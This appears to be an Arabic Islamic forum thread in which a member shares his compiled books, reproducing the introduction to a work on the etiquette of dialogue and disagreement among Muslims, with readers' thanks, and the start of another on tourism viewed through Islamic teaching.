فلو كانت الدنيا جزاءً لمحسن ... إذاً لم يكن فيها معاشٌ لظالم
لقد جاع فيها الأنبياءُ كرامةً ... وقد شبعتْ فيها بطونُ البهائم
وقال آخر:
تمتَّعْ من الأيام إن كنتَ حازماً ... فإنك فيها بين ناهٍ وآمرِ
إذا أبقت الدنيا على المرء دينَه ... فما فاته منها فليس بضائر
فلا تزن الدنيا جناحَ بعوضةٍ ... ولا وزنَ رقٍ من جناحٍ لطائر
فلم يرض بالدنيا ثواباً لمحسنٍ ... ولا رضي الدنيا عقاباً لكافر
أسال الله تعالى أن ينفع به جامعه، وقارئه وناشره، والدال عليه، في الدارين.
جمع وإعداد
الباحث في القرآن والسنَّة
علي بن نايف الشحود
في 22رمضان 1429 هـ الموافق ل 22/ 9/2008م
- - - - - - - - - - - - - - -(61/360)
حملوا كتابي الجديد ((الخلاصة في أصول الحوار وأدب الاختلاف)) للشاملة 3 + ورد
ـ[علي 56]ــــــــ[02 - 10 - 08, 05:55 م]ـ
تقبل الله منا ومنكم أيها الأحباب الكرام
بسم الله الرحمن الرحيم
الْحَمْدُ لِلَّهِ الَّذِي لَهُ مَا فِي السَّمَاوَاتِ وَمَا فِي الْأَرْضِ وَلَهُ الْحَمْدُ فِي الْآَخِرَةِ وَهُوَ الْحَكِيمُ الْخَبِيرُ (1) [سبأ/1]
وأشهد أن لا إله إلا الله وحده لا شريك له، وأصلي وأسلم على حبيبنا وشفيعنا وقدوتنا محمد رسول الله، وعلى آله وصحبه الغر الميامين، ومن تبعهم بإحسان إلى يوم الدين.
أما بعد:
فإن الاختلاف من طبيعة الحياة، والنصوص، والمخلوقات، شاءه الله تعالى، ولن يستطيع أحد في الأرض أن يزيله.قال تعالى: {وَلَوْ شَاءَ رَبُّكَ لَجَعَلَ النَّاسَ أُمَّةً وَاحِدَةً وَلَا يَزَالُونَ مُخْتَلِفِينَ (118) إِلَّا مَنْ رَحِمَ رَبُّكَ وَلِذَلِكَ خَلَقَهُمْ وَتَمَّتْ كَلِمَةُ رَبِّكَ لَأَمْلَأَنَّ جَهَنَّمَ مِنَ الْجِنَّةِ وَالنَّاسِ أَجْمَعِينَ (119)} [هود/118، 119]
يَا أَيُّها النَّبِيُّ إِنَّكَ حَرِيصٌ عَلَى إِيمَانِ قَوْمِكَ، وَحَزِينٌ لإِعْرَاضِهِمْ، أَوْ إِعْرَاضِ أَكْثَرِهِمْ، عَنْ إِجَابَةِ دَعْوَتِكَ، وَاللهُ قَادِرٌ عَلَى أَنْ يَجْعَلَ النَّاسَ كُلَّهُمْ أُمَّةً وَاحِدَةً، عَلَى دِينٍ وَاحِدٍ، بِمُقْتَضَى الغَرِيزَةِ وَالفِطْرَةِ، وَلَكِنَّهُ تَعَالَى خَلَقَهُمْ مُتَفَاوِتِينَ فِي الاسْتِعْدَادِ، وَكَسْبِ العِلْمِ. وَكَانُوا فِي أَطْوَارِهِمُ الأُولَى لاَ اخْتِلاَفَ بَيْنَهُمْ، ثُمَّ كَثُرَتْ حَاجَاتُهُمْ وَتَنَوَّعَتْ، وَكَثُرَتْ مَطَالِبُهُمْ، فَظَهَرَ فِيهِم الاسْتِعْدَادَ لِلاخْتِلاَفِ، وَهُمْ لاَ يَزَالُونَ مُخْتَلِفِينَ فِي شُؤُونِهِمِ الدِّينِيَّةِ وَالدَّنْيَوِيَّةِ، تَبَعاً لِمُيُولِهِمْ وَشَهَوَاتِهِمْ، وَاسْتِعْدَادِهِم الفِطْرِيِّ، يَتَعَصَّبُ كُلُّ فَرِيقٍ لِرَأْيِهِ، وَلِمَا وَجَدَ عَلَيْهَ آبَاءَهُ.
إِلاَّ الذِينَ رَحِمَهُمُ اللهُ فَإِنَّهُمْ يَبْقَوْنَ مُتَمَسِّكِينَ بِمَا جَاءَتْهُمْ بِهِ الرُّسُلُ، وَغَيْرَ مُخْتَلِفِينَ، وَلَقَدْ سَبَقَ عِلْمُ اللهِ أَنَّ النَّاسَ سَيَكُونُونَ مُخْتَلِفِينَ، وَأَنَّ مِنْهُمْ فَرِيقاً سَيَعْمَلُ عَمَلَ أَهْلِ الجَنَّةِ، وَسَتَكُونُ الجَنَّةَ مَصِيرَهُمْ وَمَأْوَاهُمْ، وَقَدْ قَضَى اللهُ، لِحِكْمَةٍ يَرَاهَا هُوَ، أَنَّهُ سَيَمْلأُ جَهَنَّمَ مِنَ الجِنِّ وَمِنَ البَشَرِ جَمِيعاً
وهذا الاختلاف قد يكون بين الحق والباطل،قال تعالى: {قُلْ مَنْ يَرْزُقُكُمْ مِنَ السَّمَاوَاتِ وَالْأَرْضِ قُلِ اللَّهُ وَإِنَّا أَوْ إِيَّاكُمْ لَعَلَى هُدًى أَوْ فِي ضَلَالٍ مُبِينٍ (24) قُلْ لَا تُسْأَلُونَ عَمَّا أَجْرَمْنَا وَلَا نُسْأَلُ عَمَّا تَعْمَلُونَ (25) قُلْ يَجْمَعُ بَيْنَنَا رَبُّنَا ثُمَّ يَفْتَحُ بَيْنَنَا بِالْحَقِّ وَهُوَ الْفَتَّاحُ الْعَلِيمُ (26)} [سبأ/24 - 26]
ومن ثم فقد أمرنا الله تعالى بحوار هؤلاء فقال تعالى: {قُلْ يَا أَهْلَ الْكِتَابِ تَعَالَوْا إِلَى كَلِمَةٍ سَوَاءٍ بَيْنَنَا وَبَيْنَكُمْ أَلَّا نَعْبُدَ إِلَّا اللَّهَ وَلَا نُشْرِكَ بِهِ شَيْئًا وَلَا يَتَّخِذَ بَعْضُنَا بَعْضًا أَرْبَابًا مِنْ دُونِ اللَّهِ فَإِنْ تَوَلَّوْا فَقُولُوا اشْهَدُوا بِأَنَّا مُسْلِمُونَ (64)} [آل عمران/64]
وأمر بجدالهم بالتي هي أحسن بقوله تعالى: {وَلَا تُجَادِلُوا أَهْلَ الْكِتَابِ إِلَّا بِالَّتِي هِيَ أَحْسَنُ إِلَّا الَّذِينَ ظَلَمُوا مِنْهُمْ وَقُولُوا آَمَنَّا بِالَّذِي أُنْزِلَ إِلَيْنَا وَأُنْزِلَ إِلَيْكُمْ وَإِلَهُنَا وَإِلَهُكُمْ وَاحِدٌ وَنَحْنُ لَهُ مُسْلِمُونَ (46)} [العنكبوت/46]
وحثنا على القول المعروف والكلمة الطيبة ولاسيما مع من يملك القوة والسلطة، قال تعالى: {اذْهَبَا إِلَى فِرْعَوْنَ إِنَّهُ طَغَى (43) فَقُولَا لَهُ قَوْلًا لَيِّنًا لَعَلَّهُ يَتَذَكَّرُ أَوْ يَخْشَى (44)} [طه/43، 44]
(يُتْبَع .. اقلب الصفحة)
(61/361)
وأمر بالدعوة غلى سبيل الله بالحكمة والموعظة الحسنة، قال تعالى {ادْعُ إِلَى سَبِيلِ رَبِّكَ بِالْحِكْمَةِ وَالْمَوْعِظَةِ الْحَسَنَةِ وَجَادِلْهُمْ بِالَّتِي هِيَ أَحْسَنُ إِنَّ رَبَّكَ هُوَ أَعْلَمُ بِمَنْ ضَلَّ عَنْ سَبِيلِهِ وَهُوَ أَعْلَمُ بِالْمُهْتَدِينَ (125)} [النحل/125]
بل وأمرنا أن ندفع بيننا وبين بعضنا البعض بالتي هي أحسن، بقوله تعالى: {وَمَنْ أَحْسَنُ قَوْلًا مِمَّنْ دَعَا إِلَى اللَّهِ وَعَمِلَ صَالِحًا وَقَالَ إِنَّنِي مِنَ الْمُسْلِمِينَ (33) وَلَا تَسْتَوِي الْحَسَنَةُ وَلَا السَّيِّئَةُ ادْفَعْ بِالَّتِي هِيَ أَحْسَنُ فَإِذَا الَّذِي بَيْنَكَ وَبَيْنَهُ عَدَاوَةٌ كَأَنَّهُ وَلِيٌّ حَمِيمٌ (34) وَمَا يُلَقَّاهَا إِلَّا الَّذِينَ صَبَرُوا وَمَا يُلَقَّاهَا إِلَّا ذُو حَظٍّ عَظِيمٍ (35)} [فصلت/33 - 35]
وأمرنا بالإصلاح بين بعضنا البعض والوقوف مع الحق، قال تعالى: {وَإِنْ طَائِفَتَانِ مِنَ الْمُؤْمِنِينَ اقْتَتَلُوا فَأَصْلِحُوا بَيْنَهُمَا فَإِنْ بَغَتْ إِحْدَاهُمَا عَلَى الْأُخْرَى فَقَاتِلُوا الَّتِي تَبْغِي حَتَّى تَفِيءَ إِلَى أَمْرِ اللَّهِ فَإِنْ فَاءَتْ فَأَصْلِحُوا بَيْنَهُمَا بِالْعَدْلِ وَأَقْسِطُوا إِنَّ اللَّهَ يُحِبُّ الْمُقْسِطِينَ (9) إِنَّمَا الْمُؤْمِنُونَ إِخْوَةٌ فَأَصْلِحُوا بَيْنَ أَخَوَيْكُمْ وَاتَّقُوا اللَّهَ لَعَلَّكُمْ تُرْحَمُونَ (10)} [الحجرات/9 - 10]
وفي صحيح مسلم (6751) عَنِ النُّعْمَانِ بْنِ بَشِيرٍ قَالَ قَالَ رَسُولُ اللَّهِ -صلى الله عليه وسلم- «مَثَلُ الْمُؤْمِنِينَ فِى تَوَادِّهِمْ وَتَرَاحُمِهِمْ وَتَعَاطُفِهِمْ مَثَلُ الْجَسَدِ إِذَا اشْتَكَى مِنْهُ عُضْوٌ تَدَاعَى لَهُ سَائِرُ الْجَسَدِ بِالسَّهَرِ وَالْحُمَّى».
والتفرقُ في الدين أو الاختلاف فيه ينقسم إلى قسمين:
الأول: ما كان اختلافاً في العقائد، وأصول الأحكام الثابتة، وما ثبت بإجماع صحيح عن خير القرون، فهذا تفرقٌ مذمومٌ بلا شك، ذلك أن دلائل تلك المسائل واضحة في الكتاب والسُّنَّة، مجمع عليها عند سلف الأمة، فالمخالف فيها متبع للهوى مفارق لسبيل المؤمنين، مقدم عقله على نصوص الوحي، وهذا قد ذمَّه الله ورسوله والمؤمنون أما الاختلاف في فروع العقيدة، فقد وقع منذ عهد الصحابة، فمنه ما هو سائغ وهو مما احتملته النصوص الشرعية، ومنه ما هو غير سائغ وهو الذي يخالف النصوص الشرعية الثابتة،كما حدث مع كثير من الفرق التي خالفت منهج أهل السنة والجماعة في فهم النصوص الشرعية، قال ابن تيمية:" وَمَا زَالَ السَّلَفُ يَتَنَازَعُونَ فِي كَثِيرٍ مِن هَذِهِ الْمَسَائِلِ وَلَمْ يَشْهَدْ أَحَدٌ مِنهُمْ عَلَى أَحَدٍ لَا بِكُفْرِ وَلَا بِفِسْقِ وَلَا مَعْصِيَةٍ كَمَا أَنْكَرَ شريح قِرَاءَةَ مَن قَرَأَ {بَل عَجِبْتَ وَيَسْخَرُونَ} وَقَالَ: إنَّ اللَّهَ لَا يَعْجَبُ، فَبَلَغَ ذَلِكَ إبْرَاهِيمَ النَّخَعِي فَقَالَ إنَّمَا شريح شَاعِرٌ يُعْجِبُهُ عِلْمُهُ. كَانَ عَبْدُ اللَّهِ أَعْلَمَ مِنهُ وَكَانَ يَقْرَأُ {بَل عَجِبْتَ} (1). وَكَمَا نَازَعَتْ عَائِشَةُ وَغَيْرُهَا مِنَ الصَّحَابَةِ فِي رُؤْيَةِ مُحَمَّدٍ - صلى الله عليه وسلم - رَبَّهُ وَقَالَتْ: مَن زَعَمَ أَنَّ مُحَمَّدًا رَأَى رَبَّهُ فَقَدْ أَعْظَمَ، وَلَكِنْ قَدْ رَأَى جِبْرِيلَ فِى صُورَتِهِ، وَخَلْقُهُ سَادٌّ مَا بَيْنَ الأُفُقِ (2).
وَمَعَ هَذَا لَا نَقُولُ لِابْنِ عَبَّاسٍ وَنَحْوِهِ مِنَ الْمُنَازِعِينَ لَهَا: إنَّهُ مُفْتَرٍ عَلَى اللَّهِ. وَكَمَا نَازَعَتْ فِي سَمَاعِ الْمَيِّتِ كَلَامَ الْحَيِّ وَفِي تَعْذِيبِ الْمَيِّتِ بِبُكَاءِ أَهْلِهِ وَغَيْرِ ذَلِكَ." (3)
وَمَعَ هَذَا فَمَا أَوْجَبَ هَذَا النِّزَاعُ تَهَاجُرًا وَلَا تَقَاطُعًا. وَكَذَلِكَ نَاظَرَ الْإِمَامُ أَحْمَد أَقْوَامًا مِن أَهْلِ السُّنَّةِ فِي " مَسْأَلَةِ الشَّهَادَةِ لِلْعَشَرَةِ بِالْجَنَّةِ " حَتَّى آلَتْ الْمُنَاظَرَةُ إلَى ارْتِفَاعِ الْأَصْوَاتِ، وَكَانَ أَحْمَد وَغَيْرُهُ يَرَوْنَ الشَّهَادَةَ وَلَمْ يَهْجُرُوا مَن امْتَنَعَ مِن الشَّهَادَةِ؛ إلَى مَسَائِلَ نَظِيرِ هَذِهِ كَثِيرَةٍ (4).
(يُتْبَع .. اقلب الصفحة)
(61/362)
الثاني: ما كان خلافاً في الفروع الفقهية والمسائل التي لم تجمع الأمة فيها على رأيٍ واحد، وذلك كالاختلاف الواقع في المذاهب الأربعة، وكثير من المسائل الحادثة التي اختلف فيها أهل العلم، فهذا النوع من الاختلاف غيرُ مذمومٍ إذا وقع من أهله العارفين بأصوله، بل يمدحُ إن كان الحاملُ عليه اتباعَ الحق وتقديمه، ذلك أن نصوص القرآن والسُّنَّة في بيان تلك الأحكام ظنيةٌ في دلالتها، فربما رجح مجتهد مالم يرجحه آخر، فالكلُّ مأجور في اجتهاده، كما قال - صلى الله عليه وسلم -: «إِذَا حَكَمَ الْحَاكِمُ فَاجْتَهَدَ ثُمَّ أَصَابَ فَلَهُ أَجْرَانِ، وَإِذَا حَكَمَ فَاجْتَهَدَ ثُمَّ أَخْطَأَ فَلَهُ أَجْرٌ» متفق عليه (5).
وقد كان خلاف الصحابة، وأئمة السلف من هذا النوع، فلم يوجب فسقاً ولا بدعة، بل كان بعضهم يجلُّ بعضاً، ويكرمه من غير أن يكون خلافهم لتفرقهم، طالما أن الحقَّ بغيةُ كل واحدٍ منهم ومطلبه، لكن خلفهم خلوفٌ ادعَى كلُّ طائفةٍ منهم التمسك برأي إمامٍ، وتعصبَ كلُّ فريق لإمامة، وضللَّ الطائفة الأخرى، فتركت كل طائفة بعض ما أمرت به من الحقِّ، وارتكبت بعض ما نهيت عنه، فوقعت العداوةُ والبغضاءُ، شأن أهل الكتاب من قبلنا، فلله الأمر من قبل ومن بعدُ. والله المستعان.
والاختلاف منه المذموم ومنه المحمود أيضاً:
الاختلاف المذموم (6):
وهو اختلاف تضاد، ويرجع إلى أسباب خلقية متعددة، ومن هذه الأسباب:
1 - الغرور بالنفس والإعجاب بالرأي.
2 - سوء الظن والمسارعة إلى اتهام الآخرين بغير بينة.
3 - الحرص على الزعامة أو الصدارة أو المنصب.
4 - اتباع الهوى وحب الدنيا.
5 - التعصب لأقوال الأشخاص والمذاهب والطوائف.
6 - العصبية لبلد أو إقليم أو حزب أو جماعة أو قائد.
7 - قلة العلم في صفوف كثير من المتصدرين.
8 - عدم التثبت في نقل الأخبار وسماعها.
وهذه الأسباب وغيرها من الرذائل الأخلاقية والمهلكات هي التي ينشأ عنها اختلاف غير محمود وتفرق مذموم، وكل واحد من هذه الأسباب يطول شرحه، وسنأتي على ذكر الكثير من هذه الأسباب عند الكلام عن القواعد العلمية والأخلاقية في أدب الخلاف.
الاختلاف المحمود (7):
وهو اختلاف تنوع، وهو عبارة عن الآراء المتعددة التي تصب في مشرب واحد، ومن ذلك ما يعرف بالخلاف الصوري، والخلاف اللفظي، والخلاف الاعتباري. وهذه الاختلافات مردها إلى أسباب فكرية، واختلاف وجهات النظر، في بعض القضايا العلمية، كالخلاف في فروع الشريعة، وبعض مسائل العقيدة التي لا تمس الأصول القطعية.
وكذلك الاختلافات في بعض الأمور العملية، كالخلاف في بعض المواقف السياسية، ومناهج الإصلاح والتغيير، ويدخل في الخلافات الفكرية: اختلاف الرأي في تقويم بعض المعارف والعلوم مثل: علم الكلام والمنطق والفلسفة والتصوف. والاختلاف في تقويم الأحداث التاريخية وبعض الشخصيات التاريخية والعلمية.
وهذا الخلاف ليس فيه مذمة، وإنما الذم في عدم مراعاة آداب الخلاف العملية والأخلاقية التي سيأتي ذكرها في ثنايا هذا البحث.
وجود الخلاف في خير قرون الأمة:
لقد كان الخلاف موجودًا في عصر الأئمة المتبوعين الكبار: أبي حنيفة ومالك والشافعي وأحمد والثوري والأوزاعي وغيرهم. ولم يحاول أحد منهم أن يحمل الآخرين على رأيه أو يتهمهم في علمهم أو دينهم من أجل مخالفتهم.
بل كان الخلاف موجودًا في عصر شيوخ الأئمة وشيوخ شيوخهم من التابعين الكبار والصغار، بل كان الخلاف موجودا في عصر الصحابة نظرًا لاختلاف أفهامهم وتفسيرهم للنصوص.
بل إن الخلاف وجد في عهد النبي (صلى الله عليه وسلم)، فأقره ولم ينكره، كما في قضية صلاة العصر في بني قريظة، وهي مشهورة، وفي غيرها من القضايا.
فأما طبيعة الدين:
فقد أراد الله أن يكون في أحكامه المنصوص عليه والمسكوت عنه، وأن يكون في المنصوص عليه: المحكمات والمتشابهات، والقطعيات والظنيات، والصريح والمؤول، لتعمل العقول في الاجتهاد والاستنباط، فيما يقبل الاجتهاد.
ولو شاء الله لأنزل كتابه كله نصوصًا محكمة قطعية الدلالة، لا تختلف فيها الأفهام، ولا تتعدد التفسيرات. ولكنه لم يفعل ذلك، لتتفق طبيعة الدين مع طبيعة اللغة، وطبيعة الناس وضروريات الزمن.
وأما طبيعة اللغة:
(يُتْبَع .. اقلب الصفحة)
(61/363)
فإن نصوص القرآن والسُّنَّة، جاءت على وفق ما تقتضيه اللغة في المفردات والتراكيب، ففيها اللفظ المشترك الذي يحتمل أكثر من معنى، وفيها ما يحتمل الحقيقة والمجاز، والعام والخاص، والمطلق والمقيد.
وأما طبيعة البشر:
فقد خلقهم الله مختلفين، فكل إنسان له شخصيته المستقلة، وتفكيره المتميز، وميوله الخاصة، ومن العبث صب الناس في قالب واحد، ومحو كل اختلاف بينهم، فهذا أمر مخالف للفطرة التي فطر الله عليها الناس.
وأما طبيعة الكون والحياة:
فالكون الذي نعيش في جزء صغير منه، خلقه الله - سبحانه - مختلف الأنواع والصور والألوان، وهذا الاختلاف ليس اختلاف تضارب وتناقض بل هو اختلاف تنوع.
وكذلك طبيعة الحياة، فهي أيضا تختلف وتتغير بحسب مؤثرات متعددة، في المكان والزمان.
فالخلاف سنة كونية اقتضتها الحكمة الإلهية، قال الله عز وجل: {وَلَوْ شَاءَ رَبُّكَ لَجَعَلَ النَّاسَ أُمَّةً وَاحِدَةً} [هود: 118].
وفي الأثر:" لَا يَزَال النَّاس بِخَيْرٍ مَا تَفَاضَلُوا فَإِذَا تَسَاوَوْا هَلَكُوا" يَعْنِي لَا يَزَالُونَ بِخَيْرٍ مَا كَانَ فِيهِمْ أَهْل فَضْل وَصَلَاح وَخَوْف مِنَ اللَّه يُلْجَأ إِلَيْهِمْ عِنْد الشَّدَائِد وَيُسْتَشْفَى بِآرَائِهِمْ وَيُتَبَرَّك بِدُعَائِهِمْ وَيُؤْخَذ بِتَقْوِيمِهِمْ وَآثَارهمْ. (8).
الاختلاف رحمة (9):
الاختلاف مع كونه ضرورة، هو كذلك رحمة بالأمة وتوسعة عليها.
ولهذا اجتهد الصحابة واختلفوا في أمور جزئية كثيرة، ولم يضيقوا ذرعا بذلك بل نجد الخليفة الراشد عمر بن عبد العزيز يقول عن اختلاف الصحابة رضي الله عنهم: "ما يسرني أن أصحاب رسول الله - صلى الله عليه وسلم - لم يختلفوا، لأنهم لو لم يختلفوا لم يكن لنا رخصة".
فهم باختلافهم أتاحوا لنا فرصة الاختيار من أقوالهم واجتهاداتهم، كما أنهم سنوا لنا سنة الاختلاف في القضايا الاجتهادية، وظلوا معها إخوة متحابين.
الاختلاف ثروة:
اختلاف الآراء الاجتهادية يثري الفقه، وينمو ويتسع، لأن كل رأي يستند إلى أدلة واعتبارات شرعية.
وبهذا التعدد والتنوع تتسع الثروة الفقهية التشريعية، وإن تعدد المذاهب الفقهية وكثرة الأقوال كنوز لا يقدر قدرها وثروة لا يعرف قيمتها إلا أهل العلم والبحث، فقد يكون بعضها أكثر ملاءمة لزمان ومكان من غيره (10).
-----------------
ولكن غالب أنواع الحوار اليوم لا يلتزم فيها بآداب الإسلام وقيمه العليا، ومن ثم فلا تؤتي أكلها.
وكثير من الناس المختلفين في الفروع العقدية أو الفقهية أو السياسية،لا يقبلون بالرأي الآخر، ويعتبرونه ضلالاً أو بدعة منكرة، أو زندقة أو شذوذا وانحرافاً عن سواء السبيل.
بل يجعلون فهمهم للدين هو الفهم الحق وما سواه فباطل، وكل ذلك خلل في فهم هذه الرسالة الخاتمة، فقد شاء الله تعالى أن تكون معظم النصوص الشرعية (في القرآن والسنة) ظنية الدلالة، تحتمل وجوها كثيرة، فكيف نلزم الناس بواحد منها؟
والصواب أن يقال رأيي صواب يحتمل الخطأ، ورأيك خطأ يحتمل الصواب، وغالب الخلافات بين المسلمين اليوم ليس بين قطعي الشريعة وظنيها، بل بين ظنين محتملين أو ظنون محتملة، فكيف نزعم أنها حق وما سواها باطل؟!!!
وكل النصوص الظنية الدلالة لا يقال فيها صواب وخطأ، بل كلها صواب ومرادة للشارع الحكيم.
وأعداء هذه الأمة يوقعون بين أفرادها وجماعاتها، ويفرقون صفوفهم من هذا الباب.
ولذلك تجد كل واحد منهم متعصب لرأيه أو جماعته، ولا يقبل رأيا آخر بتاتاً مهما كان قويا.
ومن لم يكن رائده تقوى الله تعالى وبغية الحق، لن يصل إليه ولو عمر بعمر النبي نوح عليه السلام ففي صحيح مسلم (1847) عن أبي سَلَمَةَ بْنُ عَبْدِ الرَّحْمَنِ بْنِ عَوْفٍ قَالَ سَأَلْتُ عَائِشَةَ أُمَّ الْمُؤْمِنِينَ بِأَىِّ شَىْءٍ كَانَ نَبِىُّ اللَّهِ -صلى الله عليه وسلم- يَفْتَتِحُ صَلاَتَهُ إِذَا قَامَ مِنَ اللَّيْلِ قَالَتْ كَانَ إِذَا قَامَ مِنَ اللَّيْلِ افْتَتَحَ صَلاَتَهُ «اللَّهُمَّ رَبَّ جِبْرَائِيلَ وَمِيكَائِيلَ وَإِسْرَافِيلَ فَاطِرَ السَّمَوَاتِ وَالأَرْضِ عَالِمَ الْغَيْبِ وَالشَّهَادَةِ أَنْتَ تَحْكُمُ بَيْنَ عِبَادِكَ فِيمَا كَانُوا فِيهِ يَخْتَلِفُونَ اهْدِنِى لِمَا اخْتُلِفَ فِيهِ مِنَ الْحَقِّ بِإِذْنِكَ إِنَّكَ تَهْدِى مَنْ تَشَاءُ إِلَى صِرَاطٍ مُسْتَقِيمٍ».
هذا وقد قسمته لتمهيد وبابين:
أما التمهيد، فتكلمت فيه عن أصول أدب الحوار بين المختلفين ...
وأما الباب الأول -أصول الحوار، وهو مجموعة من البحوث والمقالات حول هذا الموضوع
وأما الباب الثاني فعن آداب الاختلاف بين المسلمين، وهو مجموعة من البحوث والمقالات.
وكل بحث معزو لصاحبه أو مصدره، وغالبها من المواقع التالية:
صيد الفوائد، شبكة نور الإسلام، الإسلام اليوم، الشبكة الإسلامية، والإسلام سؤال وجواب، والمختار الإسلامي ....
ومن أراد تفصيل أسباب الاختلاف بين الفقهاء فليرجع إلى كتابي ((الخلاصة في بيان أسباب الاختلاف الفقهاء)) وهو على الشبكة في صيد الفوائد والمشكاة وغيرهما.
أسأل الله تعالى أن ينفع به جامعه وقارئه وناقله والدال عليه وناشره في الدارين.
جمعه وأعده
الباحث في القرآن والسنة
علي بن نايف الشحود
في 23 رمضان 1429 هـ الموافق ل 23/ 9/2008 م
ـــــــــــــــــــ
(1) - المستدرك للحاكم (3608) صحيح
(2) - صحيح البخارى (3234)
(3) - مجموع الفتاوى - (ج 3 / ص 229)
(4) - مجموع الفتاوى - (ج 6 / ص 502)
(5) - صحيح البخارى برقم (7352) وصحيح مسلم برقم (4584)
(6) - آداب الحوار وقواعد الاختلاف - (ج 1 / ص 31)
(7) - آداب الحوار وقواعد الاختلاف - (ج 1 / ص 32)
(8) - انظر: [فتح الباري 13/ 16].
(9) - مجموع الفتاوى - (ج 30 / ص 80) والدرر السنية في الأجوبة النجدية - الرقمية - (ج 4 / ص 88) وأبحاث هيئة كبار العلماء - (ج 3 / ص 177) والصحوة الإسلامية بين الاختلاف المشروع والتفرق المذموم - (ج 1 / ص 37)
(10) - الصحوة الإسلامية بين الاختلاف المشروع والتفرق المذموم، للقرضاوي، ص 53.
(يُتْبَع .. اقلب الصفحة)
(61/364)
ـ[عمر عبدالتواب]ــــــــ[02 - 10 - 08, 09:58 م]ـ
جزاكم الله خيرا
ـ[أبو أحمد السكندرى]ــــــــ[02 - 10 - 08, 11:30 م]ـ
جزاكم الله خيرا
ـ[علي 56]ــــــــ[03 - 10 - 08, 01:45 ص]ـ
وأنتم أيها الأحبة
جزاكم الله خيرا
ـ[أبو سلمى رشيد]ــــــــ[31 - 10 - 08, 09:11 م]ـ
بارك الله فيكم
أحسن الله إليكم
ـ[محمد ملحم]ــــــــ[01 - 11 - 08, 08:14 ص]ـ
بارك الله فيك يا أخ علي وغفر لك
ـ[عيسى بنتفريت]ــــــــ[01 - 11 - 08, 12:18 م]ـ
جزاك الله خيرا.
ـ[أبو زيد الخير]ــــــــ[03 - 11 - 08, 12:33 ص]ـ
بارك الله فيك أخي الكريم
و نفع الله بأبحاثك و موسوعاتك هذه القيمة المسلمين
و جعلها الله لك صدقة لا ينقطع أجرها
ـ[علي 56]ــــــــ[24 - 11 - 08, 10:03 ص]ـ
وأنتم أيها الأحباب الكرام
جزاكم الله عنا كل خير ونفع بكم البلاد والعباد
ـ[أبوعمرالحسيني]ــــــــ[02 - 12 - 08, 03:43 م]ـ
جزاك الله خيرا.
ونفع بكـ ..
ـ[علي 56]ــــــــ[10 - 12 - 08, 12:06 م]ـ
وأنتم جزاكم الله خيرا
وكل عام وأنتم بخير وعافية وسعادة(61/365)
حملوا كتابي الجديد ((السِّياحة ُ بينَ المفهومِ الإسلاميِّ والمفهومِ الجاهليِّ)) للشاملة 3 + ورد
ـ[علي 56]ــــــــ[02 - 10 - 08, 06:27 م]ـ
تقبل الله منا ومنكم ورزقنا وإياكم الإخلاص في القول والعمل
((حقوق الطبع لكل مسلم))
بسم الله الرحمن الرحيم
الحمد لله رب العالمين، والصلاة والسلام على سيد الأنبياء والمرسلين، وعلى آله وصحبه أجمعين، ومن تبعهم بإحسان إلى يوم الدين.
أما بعد:
فقد كثرت السياحة في عصرنا هذا بشكل غير مألوف، سواء أكانت للشرق أم للغرب، وتسعى الدول جاهدة لجلب أكبر عدد من السياح كل عام من أجل زيادة الدخل القومي!!
والإسلام قد حث على السياحة في الأرض، وذلك من أجل التأمل في صنع الخالق العليم الحكيم، فيزداد الإنسان إيماناً مع إيمانه، ويقينا مع يقينه، قال تعالى: {سَنُرِيهِمْ آيَاتِنَا فِي الْآفَاقِ وَفِي أَنفُسِهِمْ حَتَّى يَتَبَيَّنَ لَهُمْ أَنَّهُ الْحَقُّ أَوَلَمْ يَكْفِ بِرَبِّكَ أَنَّهُ عَلَى كُلِّ شَيْءٍ شَهِيدٌ} (53) سورة فصلت.
وأكبر مكان سياحي في الأرض يجعل الناس يعودون إلى الله، ويشعرون بعظمته هو الذهاب للبيت العتيق حجا أو عمرة،ذلك المكان الذي يعتبر أول مكان بني فيه بيت لعبادة الله تعالى وتوحيده في الأرض، قال تعالى: {إِنَّ أَوَّلَ بَيْتٍ وُضِعَ لِلنَّاسِ لَلَّذِي بِبَكَّةَ مُبَارَكًا وَهُدًى لِّلْعَالَمِينَ} (96) سورة آل عمران.
ومن حكمة الله تعالى أن جعل ذلك المكان خالياً من المرغبات الدنيوية، فليس فيه شلالات، ولا أشجار وارفات، ولا أنهار متدفقات، ولا مناظر جميلات، كما قال تعالى: {رَّبَّنَا إِنِّي أَسْكَنتُ مِن ذُرِّيَّتِي بِوَادٍ غَيْرِ ذِي زَرْعٍ عِندَ بَيْتِكَ الْمُحَرَّمِ رَبَّنَا لِيُقِيمُواْ الصَّلاَةَ فَاجْعَلْ أَفْئِدَةً مِّنَ النَّاسِ تَهْوِي إِلَيْهِمْ وَارْزُقْهُم مِّنَ الثَّمَرَاتِ لَعَلَّهُمْ يَشْكُرُونَ} (37) سورة إبراهيم.
ومن ثمَّ فإن الذي يذهب لزيارة البيت العتيق ليس له مطمع دنيوي إلا مغفرة الذنوب، والتقرب إلى الله تعالى، ولو ذهبنا إلى هناك لرأينا عظمة هذا الدين حقًّا.
ولكن السياحة اليوم ليس إلى هذه الأمكنة الطاهرة، بل إلى أمكنة الشلالات، والجبال الراسيات المغطاة بالأشجار، والمناظر الطبيعية، وإلى الآثار التي تركها الأقدمون، ولكن ليس للعظة والاعتبار؛ بل لتقطيع الوقت، والأكل والشرب مما لذَّ للناس وطاب، وارتكاب الموبقات بكل أنواعها، حيث تسهلُ معظم الدول للسياح كل ما يريدون من متاع دنيوي رخيص بحجة زيادة الدخل القومي من السياحة!!!
بل وتحاول بكل وسائل إعلامها المرئية وغير المرئية أن تبين أهمية بلدها السياحي، الذي ليس له مثيل في الأرض!!!
بل وتمنع أي صوت ينادي بإصلاح مفهوم السياحة وضبطها، لأنه يشكل خطراً على اقتصاد تلك البلد!!!.
وهذا في كثير من بلدان المسلمين!!!.
فتبًّ لها من سياحة قائمة على ارتكاب الموبقات، وتبًّا له من دخل يقوم على الفجور والتشجيع على المعصية، وغضب الله تعالى.
وشرٌّ منها السياحة إلى بلاد الكفار، حيث ترتكب كافة الموبقات على قارعة الطريق، ويحميها القانون، فيجد السائح المسلم كل ممنوع مباح هناك، وإذا لم يكن عنده وازع ديني قوي يسقط بسرعة أمام هذه المغريات، فيخسر دينه، وماله، وصحته، ويعود بخفي حنين إلى بلده.
ومن هنا نقول:
إنَّ كل قول أو عمل يحرض على معصية الله،أو يسهِّل لها فهو حرام بلا ريب، والإسلام لم يمنع المعاصي فقط، بل ومنع السبل الموصلة إليها.
